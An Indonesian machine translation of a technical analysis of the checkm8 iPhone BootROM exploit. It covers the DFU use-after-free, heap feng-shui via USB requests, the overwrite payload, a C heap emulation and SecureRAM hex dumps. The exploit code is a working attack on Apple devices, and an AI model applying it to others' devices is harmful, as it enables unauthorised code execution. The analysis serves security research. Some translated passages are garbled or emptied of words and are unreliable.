Dengan probabilitas tinggi Anda telah mendengar tentang exploit checkm8 sensasional, yang menggunakan kerentanan yang tidak dapat dipulihkan di BootROM
sebagian besar iDevices, termasuk iPhone X
Pada artikel ini, kami akan memberikan analisis teknis tentang eksploitasi dan melihat penyebab kerentanan. Siapa pun yang tertarik - selamat datang di bawah luka!
Anda dapat membaca artikel versi bahasa Inggris di sini .
Pendahuluan
Pertama, kami akan menjelaskan secara singkat proses boot iDevice dan mencari tahu di mana BootROM
berada di dalamnya (bisa juga disebut SecureROM
) dan mengapa diperlukan. Informasi terperinci tentang ini ada di sini . Proses boot yang disederhanakan dapat direpresentasikan sebagai berikut:

BootROM
adalah hal pertama yang dijalankan prosesor saat perangkat dihidupkan. Tugas utama BootROM
:
- Inisialisasi platform (mengatur register platform yang diperlukan, menginisialisasi
CPU
, dll.) - Verifikasi dan transfer kontrol ke tahap pemuatan berikutnya
BootROM
mendukung parsing gambar IMG3/IMG4
BootROM
memiliki akses ke kunci GID
untuk mendekripsi gambar- Untuk memeriksa gambar, kunci publik
Apple
dibuat di dalam BootROM
, dan ada fungsi yang diperlukan untuk bekerja dengan kriptografi
- Memulihkan perangkat jika tidak memungkinkan untuk mengunduh lebih lanjut (
Device Firmware Update
, DFU
)
BootROM
sangat kecil, dan itu dapat disebut versi iBoot
, karena mereka berbagi sebagian besar sistem dan kode pustaka. Namun, tidak seperti iBoot
, BootROM
tidak dapat diperbarui. Ini ditempatkan di memori hanya baca internal saat membuat perangkat. BootROM
adalah akar perangkat keras dari rantai kepercayaan boot. Kerentanan di dalamnya dapat memungkinkan mendapatkan kontrol atas proses pengunduhan lebih lanjut dan mengeksekusi kode yang tidak ditandatangani pada perangkat.

Munculnya checkm8
checkm8
ditambahkan ke utilitas ipwndfu oleh penulisnya axi0mX pada 27 September 2019. Kemudian ia mengumumkan pembaruan di akun Twitter-nya, disertai dengan deskripsi eksploit dan informasi tambahan. Anda dapat mengetahui dari utas bahwa kerentanan use-after-free
dalam kode USB
ditemukan oleh penulis selama proses patch-diffing iBoot
untuk iOS 12 beta
pada musim panas 2018. Seperti disebutkan sebelumnya, BootROM
dan iBoot
memiliki banyak kode umum, termasuk kode untuk USB
, itulah sebabnya kerentanan ini juga relevan untuk BootROM
.
Ini juga mengikuti dari kode exploit yang kerentanannya dieksploitasi di DFU
. Ini adalah mode di mana gambar yang ditandatangani dapat ditransfer ke perangkat melalui USB
, yang selanjutnya akan diunduh. Ini mungkin diperlukan, misalnya, untuk memulihkan perangkat jika pembaruan tidak berhasil.
Pada hari yang sama, littlelailo melaporkan bahwa ia telah menemukan kerentanan ini pada bulan Maret dan menerbitkan deskripsinya dalam file apollo.txt . Deskripsi tersebut sesuai dengan apa yang terjadi pada kode checkm8
, tetapi tidak sepenuhnya menjelaskan detail dari exploit. Oleh karena itu, kami memutuskan untuk menulis artikel ini dan menjelaskan semua detail operasi hingga pelaksanaan payload di BootROM
inklusif.
Kami melakukan analisis eksploitasi berdasarkan materi yang disebutkan sebelumnya, serta pada kode sumber iBoot/SecureROM
bocor pada Februari 2018. Kami juga menggunakan data yang diperoleh secara eksperimental pada perangkat pengujian kami - iPhone 7
( CPID:8010
). Menggunakan checkm8
kami menghapus dump SecureRAM
dan SecureRAM
dari itu, yang membantu kami dengan analisis.
Pengetahuan USB esensial
Kerentanan yang terdeteksi ada dalam kode USB
, sehingga diperlukan pengetahuan tentang antarmuka ini. Anda dapat membaca spesifikasi lengkapnya di sini , tetapi cukup produktif. Bahan yang sangat baik, yang lebih dari cukup untuk pemahaman lebih lanjut, adalah USB dalam NutShell . Di sini kami hanya memberikan yang paling diperlukan.
Ada berbagai jenis transfer data USB
. DFU
hanya menggunakan DFU
Control Transfers
(Anda dapat membacanya di sini ). Setiap transaksi dalam mode ini terdiri dari tiga tahap:
Setup Stage
- pada tahap ini paket SETUP
dikirim, yang terdiri dari bidang-bidang berikut:
bmRequestType
- menjelaskan arah, jenis, dan penerima permintaanbRequest
- menentukan permintaan yang diajukanwValue
, wIndex
- tergantung pada permintaan, mereka dapat diartikan berbedawLength
Panjang - panjang data yang diterima / dikirim dalam Data Stage
Data Stage
- tahap opsional saat transfer data berlangsung. Bergantung pada paket SETUP
dari tahap sebelumnya, ini mungkin mengirim data dari host ke perangkat ( OUT
) atau sebaliknya ( IN
). Data dikirim dalam porsi kecil (untuk Apple DFU
, 0x40 byte).
- Ketika tuan rumah ingin mentransfer kumpulan data berikutnya, ia mengirimkan token, setelah itu data itu sendiri dikirim.
- Ketika tuan rumah siap untuk menerima data dari perangkat, ia mengirimkan token, sebagai tanggapan terhadap mana perangkat mengirim data.
Status Stage
- tahap akhir di mana status seluruh transaksi dilaporkan.
- Untuk permintaan
OUT
, tuan rumah mengirim token IN
, sebagai tanggapan terhadap mana perangkat harus mengirim paket data dengan panjang nol. - Untuk permintaan
IN
, host mengirim token OUT
dan paket data nol panjang.
Kueri OUT
dan IN
ditunjukkan pada diagram di bawah ini. Kami sengaja menghapus ACK
, NACK
dan paket jabat tangan lainnya dari skema deskripsi dan interaksi, karena mereka tidak memainkan peran khusus dalam eksploitasi itu sendiri.

Analisis apollo.txt
Kami memulai analisis dengan memilah kerentanan dari dokumen apollo.txt . Ini menjelaskan algoritma mode DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Ketika usb mulai mendapatkan gambar lebih dari dfu, dfu mendaftarkan antarmuka untuk menangani semua perintah dan mengalokasikan buffer untuk input dan output
- jika Anda mengirim data ke dfu paket setup ditangani oleh kode utama yang kemudian memanggil kode antarmuka
- kode antarmuka memverifikasi bahwa wLength lebih pendek dari panjang buffer output input dan jika itu terjadi, pembaruan pointer dilewatkan sebagai argumen dengan pointer ke buffer output input
- lalu mengembalikan wLength yang merupakan panjang yang ingin diterima ke buffer
- kode utama usb kemudian memperbarui var global dengan panjang dan bersiap-siap untuk menerima paket data
- jika paket data diterima itu akan ditulis ke buffer output input melalui pointer yang disahkan sebagai argumen dan variabel global lainnya digunakan untuk melacak berapa banyak byte yang telah diterima
- jika semua data diterima, kode khusus dfu dipanggil lagi dan kemudian melanjutkan untuk menyalin isi buffer output input ke lokasi memori dari mana gambar tersebut kemudian di-boot
- setelah itu kode usb me-reset semua variabel dan melanjutkan untuk menangani paket-paket baru
- jika dfu keluar dari buffer output input dibebaskan dan jika parsing gambar gagal bootrom masukkan kembali dfu
Pertama, kami membandingkan langkah-langkah yang dijelaskan dengan kode sumber iBoot
. Karena kita tidak dapat menggunakan fragmen kode sumber yang bocor dalam artikel, kami akan menunjukkan pseudocode yang diperoleh oleh SecureROM
reverse engineering dari iPhone 7
di IDA
. Anda dapat dengan mudah menemukan kode sumber iBoot
dan menavigasi itu.
Ketika mode DFU
diinisialisasi, buffer IO
dialokasikan dan antarmuka USB
terdaftar untuk memproses permintaan ke DFU
:

Ketika paket permintaan SETUP
tiba di DFU
, penangan antarmuka yang sesuai dipanggil. Dalam hal eksekusi yang berhasil dari permintaan OUT
(misalnya, ketika mentransfer gambar), pawang harus mengembalikan alamat buffer IO
untuk transaksi dan ukuran data yang diharapkan akan diterima oleh pointer. Dalam hal ini, alamat penyangga dan ukuran data yang diharapkan disimpan dalam variabel global.

Handler antarmuka untuk DFU
ditunjukkan pada gambar di bawah. Jika permintaan benar, maka alamat buffer IO
dialokasikan pada tahap inisialisasi DFU
dan panjang data yang diharapkan, yang diambil dari paket SETUP
, dikembalikan oleh penunjuk.

Selama Data Stage
setiap bagian data ditulis ke buffer IO
, setelah itu alamat buffer IO
digeser dan penghitung data yang diterima diperbarui. Setelah menerima semua data yang diharapkan, penangan data antarmuka dipanggil dan keadaan transmisi global dihapus.

Di penangan data DFU
data yang diterima dipindahkan ke area memori tempat pengunduhan akan dilanjutkan. Dilihat oleh kode sumber iBoot
, area memori ini di Apple
disebut INSECURE_MEMORY
.

Saat keluar DFU
mode DFU
, buffer IO
dialokasikan sebelumnya akan dibebaskan. Jika gambar berhasil diterima dalam mode DFU
, itu akan diperiksa dan dimuat. Jika, selama pengoperasian mode DFU
, beberapa kesalahan terjadi atau tidak mungkin memuat gambar yang dihasilkan, DFU
akan DFU
ulang dan semuanya akan mulai dari awal lagi.
Dalam algoritma yang dijelaskan, terletak kerentanan use-after-free
. Jika saat boot, kirim paket SETUP
dan selesaikan transaksi dengan melewatkan Data Stage
, keadaan global akan tetap diinisialisasi setelah memasukkan kembali siklus DFU
, dan kami akan dapat menulis ke alamat buffer IO
dialokasikan dalam iterasi DFU
sebelumnya.
Setelah berurusan dengan kerentanan use-after-free
, kami bertanya-tanya: bagaimana saya bisa menimpa sesuatu selama iterasi DFU
berikutnya? Lagi pula, sebelum menginisialisasi ulang DFU
semua sumber daya yang dialokasikan sebelumnya dibebaskan, dan lokasi memori dalam iterasi baru harus persis sama. Ternyata ada kesalahan kebocoran memori yang menarik dan cukup indah yang memungkinkan mengeksploitasi kerentanan use-after-free
, yang akan kita bahas nanti.
Analisis Checkm8
Kami melanjutkan langsung ke analisis exploit checkm8
. Untuk mempermudah, kami akan menganalisis versi eksploit yang dimodifikasi untuk iPhone 7
, di mana kode yang terkait dengan platform lain telah dihapus, urutan dan jenis permintaan USB
telah diubah tanpa kehilangan eksploit. Juga dalam versi ini proses membangun payload dihapus, dapat ditemukan dalam file checkm8.py
asli. Memahami perbedaan antara versi untuk perangkat lain seharusnya tidak sulit.
Pekerjaan checkm8
dapat dibagi menjadi beberapa tahap:
- Persiapan
heap feng-shui
( heap feng-shui
) - Alokasi dan pelepasan buffer
IO
tanpa membersihkan negara global - Timpa
usb_device_io_request
di heap dengan use-after-free
- Penempatan Muatan
- Eksekusi
callback-chain
- Eksekusi
shellcode
Pertimbangkan masing-masing tahapan secara terperinci.
1. Persiapan tumpukan (heap feng-shui)
Tampaknya bagi kami bahwa ini adalah tahap yang paling menarik, dan kami memberikan perhatian khusus padanya.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Langkah ini diperlukan untuk mencapai kondisi tumpukan yang nyaman untuk operasi use-after-free
. Untuk memulai, pertimbangkan stall
panggilan, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
adalah pembungkus device.ctrlTransfer
dengan mengabaikan pengecualian yang terjadi saat menjalankan permintaan. libusb1_async_ctrl_transfer
- pembungkus atas fungsi libusb_submit_transfer
dari libusb
untuk eksekusi query yang tidak sinkron.
Kedua panggilan menerima parameter berikut:
- Contoh perangkat
- Data untuk paket
SETUP
(uraiannya ada di sini ):
bmRequestType
bRequest
wValue
wIndex
- Ukuran Data (
wLength
) atau Data untuk Data Stage
- Permintaan Batas Waktu
Argumen bmRequestType
, bRequest
, wValue
dan wIndex
adalah umum untuk ketiga jenis kueri. Artinya:
bmRequestType = 0x80
0b1XXXXXXX
- arah Data Stage
dari perangkat ke host (Device to Host)0bX00XXXXX
- tipe permintaan standar0bXXX00000
- penerima permintaan - perangkat
bRequest = 6
- permintaan deskriptor ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- menentukan tipe deskriptor yang akan diterima - string ( USB_DT_STRING
)wValueLow = 0x4
adalah indeks deskriptor string, 4 sesuai dengan nomor seri perangkat (dalam hal ini, string terlihat seperti CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- pengidentifikasi bahasa string, nilainya tidak penting untuk operasi dan dapat diubah.
Untuk salah satu dari tiga permintaan ini, 0x30 byte dialokasikan pada heap untuk objek dari struktur berikut:

Bidang yang paling menarik dari objek ini adalah callback
dan next
.
callback
- pointer ke fungsi yang akan dipanggil ketika permintaan selesai.next
- pointer ke objek berikutnya dengan tipe yang sama, diperlukan untuk mengantri permintaan.
Fitur utama dari stall
panggilan adalah menggunakan eksekusi permintaan yang tidak sinkron dengan batas waktu minimum. Karena ini, jika Anda beruntung, permintaan akan dibatalkan di tingkat OS dan akan tetap dalam antrian eksekusi, dan transaksi tidak akan selesai. Pada saat yang sama, perangkat akan terus menerima semua paket SETUP
masuk dan, jika perlu, menempatkannya dalam antrian eksekusi. Kemudian, dengan menggunakan eksperimen dengan USB
di Arduino
kami dapat mengetahui bahwa agar operasi berhasil, tuan rumah harus mengirim paket SETUP
dan token IN
, setelah itu transaksi harus dibatalkan dengan batas waktu. Secara skematis, transaksi yang tidak lengkap tersebut dapat direpresentasikan sebagai berikut:
Sisa permintaan hanya berbeda panjang dan hanya satu. Faktanya adalah bahwa untuk permintaan standar ada callback
standar yang terlihat seperti ini:

Nilai io_length
sama dengan minimum wLength
dalam paket SETUP
dari permintaan dan panjang asli dari deskriptor yang diminta. Karena fakta bahwa deskriptor cukup panjang, kita dapat dengan tepat mengontrol nilai io_length
dalam panjangnya. Nilai g_setup_request.wLength
sama dengan nilai wLength
paket SETUP
terakhir, dalam hal ini, 0xC1
.
Dengan demikian, pada penyelesaian kueri yang dihasilkan menggunakan stall
dan leak
panggilan, kondisi dalam fungsi callback
akhir terpenuhi, dan usb_core_send_zlp()
dipanggil. Panggilan ini hanya membuat zero-length-packet
dan menambahkannya ke antrian eksekusi. Ini diperlukan agar transaksi dapat diselesaikan dengan benar di Status Stage
.
Permintaan diakhiri dengan panggilan ke fungsi usb_core_complete_endpoint_io
, yang pertama kali memanggil panggilan callback
dan kemudian membebaskan memori permintaan. Pada saat yang sama, penyelesaian permintaan dapat terjadi tidak hanya ketika seluruh transaksi benar-benar selesai, tetapi juga ketika USB
diatur ulang. Segera setelah sinyal reset USB
diterima, antrian permintaan akan dilewati dan masing-masing akan selesai.
Karena panggilan selektif ke usb_core_send_zlp()
, melewati antrian permintaan dan kemudian melepaskannya, Anda dapat mencapai kontrol tumpukan yang cukup untuk operasi use-after-free
. Pertama, mari kita lihat siklus rilis itu sendiri:

Antrian permintaan dihapus terlebih dahulu, kemudian permintaan yang dibatalkan usb_core_complete_endpoint_io
, dan mereka selesai dengan memanggil usb_core_complete_endpoint_io
. Pada saat yang sama, permintaan yang dipilih menggunakan usb_core_send_zlp
ditempatkan di ep->io_head
. Setelah prosedur reset USB
selesai, semua informasi tentang titik akhir akan diatur ulang, termasuk io_head
dan io_tail
, dan permintaan panjang nol akan tetap ada di heap. Jadi, Anda bisa membuat bongkahan kecil di tengah sisa tumpukan. Diagram di bawah ini menunjukkan bagaimana ini terjadi:

Tumpukan di SecureROM
dirancang sedemikian rupa sehingga area memori baru dialokasikan dari potongan bebas yang sesuai dengan ukuran terkecil. Dengan membuat potongan bebas kecil dengan metode yang dijelaskan di atas, Anda dapat memengaruhi alokasi memori selama inisialisasi USB
dan alokasi io_buffer
dan permintaan.
Untuk pemahaman yang lebih baik, mari kita mencari tahu tumpukan yang terjadi selama inisialisasi DFU
. Dalam proses menganalisis kode sumber iBoot
dan rekayasa balik iBoot
SecureROM
kami berhasil mendapatkan urutan berikut:
- Alokasi berbagai deskriptor string
- 1.1.
Nonce
(ukuran 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- Alokasi terkait dengan pembuatan tugas
USB
- 2.1. Struktur
0x3c0
( 0x3c0
) - 2.2. Stack Task (
0x1000
)
io_buffer
( 0x800
)
- Deskriptor konfigurasi
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
Lalu ada alokasi struktur permintaan. Jika ada bongkahan kecil di tengah ruang heap, beberapa alokasi dari kategori pertama akan masuk ke bongkahan ini, dan semua alokasi lainnya akan dipindahkan, yang dengannya kita dapat melimpahkan usb_device_io_request
, merujuk pada buffer lama. Secara skematis, ini dapat direpresentasikan sebagai berikut:

Untuk menghitung bias yang diperlukan, kami memutuskan untuk hanya meniru alokasi yang tercantum di atas, sedikit mengadaptasi kode sumber tumpukan iBoot
.
Emulasi tumpukan DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Output program dengan 8 permintaan pada tahap heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
usb_device_io_request
berikutnya akan berada pada offset 0x5c0
dari awal buffer sebelumnya, yang sesuai dengan kode exploit:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 